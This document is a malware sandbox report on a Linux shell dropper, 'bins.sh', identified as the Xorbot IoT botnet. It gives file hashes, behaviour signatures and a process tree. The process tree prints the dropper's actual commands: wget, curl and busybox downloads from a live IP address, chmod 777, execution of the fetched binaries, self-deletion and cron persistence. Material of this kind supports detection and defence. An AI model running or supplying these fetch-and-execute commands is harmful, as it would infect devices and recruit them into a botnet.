Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04/12/2024, 21:21

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8580d3e0404771972a9f01c8f1022b41

  • SHA1

    12009ebfa508f900f56d9da9a3fc0f058ce2227a

  • SHA256

    838e2007e9ae8cb8aaa9c2f53b17d5503d751cdc59a5997e2b9228de843b38f1

  • SHA512

    11d915de31c2a4cde4cd48529b3962db89f49307c35d963b9c4ee6e4edaa1eb02fd409d65305a4f30a6a0576ab134d3479071c9eee0d5bbf6b71b8151caacde9

  • SSDEEP

    96:uxnn5zkwsZhf0wvJhVz6a/eHK9h1TksmBbQJhVz6aDyyLil8dm9h1Tksdg1PZhfZ:u0Zhf0wv9eHK0CHZhf0wx

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:691
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:695
        • /usr/bin/wget
          wget http://216.126.231.240/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Writes file to tmp directory
          PID:700
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Writes file to tmp directory
          PID:719
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Writes file to tmp directory
          PID:721
        • /bin/chmod
          chmod 777 3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • File and Directory Permissions Modification
          PID:722
        • /tmp/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          ./3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:723
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:725
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:726
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:727
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:728
            • /bin/rm
              rm 3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
              2⤵
                PID:730
              • /usr/bin/wget
                wget http://216.126.231.240/bins/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
                2⤵
                • System Network Configuration Discovery
                PID:733
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
                2⤵
                • System Network Configuration Discovery
                PID:734
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:735
              • /bin/chmod
                chmod 777 xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
                2⤵
                • File and Directory Permissions Modification
                PID:736
              • /tmp/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
                ./xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
                2⤵
                • Executes dropped EXE
                • System Network Configuration Discovery
                PID:737
              • /bin/rm
                rm xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
                2⤵
                • System Network Configuration Discovery
                PID:739
              • /usr/bin/wget
                wget http://216.126.231.240/bins/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
                2⤵
                  PID:740
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
                  2⤵
                    PID:741
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
                    2⤵
                    • Writes file to tmp directory
                    PID:742
                  • /bin/chmod
                    chmod 777 WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
                    2⤵
                    • File and Directory Permissions Modification
                    PID:743
                  • /tmp/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
                    ./WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
                    2⤵
                    • Executes dropped EXE
                    PID:744
                  • /bin/rm
                    rm WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
                    2⤵
                      PID:746
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
                      2⤵
                        PID:747
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
                        2⤵
                          PID:748
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
                          2⤵
                          • Writes file to tmp directory
                          PID:749
                        • /bin/chmod
                          chmod 777 DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
                          2⤵
                          • File and Directory Permissions Modification
                          PID:754
                        • /tmp/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
                          ./DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
                          2⤵
                          • Executes dropped EXE
                          PID:755
                        • /bin/rm
                          rm DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
                          2⤵
                            PID:757
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                            2⤵
                              PID:759

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /tmp/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8

                                  Filesize

                                  141KB

                                  MD5

                                  3ca8decdb1e52c423c521bfff02ac200

                                  SHA1

                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                  SHA256

                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                  SHA512

                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                • /tmp/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq

                                  Filesize

                                  127KB

                                  MD5

                                  89077b7bd4bcafca7713be43635c4862

                                  SHA1

                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                  SHA256

                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                  SHA512

                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                • /tmp/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8

                                  Filesize

                                  122KB

                                  MD5

                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                  SHA1

                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                  SHA256

                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                  SHA512

                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                • /var/spool/cron/crontabs/tmp.XcAE0J

                                  Filesize

                                  210B

                                  MD5

                                  c68fe3190e66a39d1bed8184a6187c3c

                                  SHA1

                                  f41c774fc940aa219e5c81b0cc8086655014aee2

                                  SHA256

                                  58ab7c48085ce3fb475c136e8853747afff88d565821103752cef02876af4ea8

                                  SHA512

                                  3c4d384307dc5a7e946e2116d9a879e897595e12ab2f711b74b0100999f7078981395c6d6ffda6f09ea46e1f70b21089776a79ab889536852e4accca80761931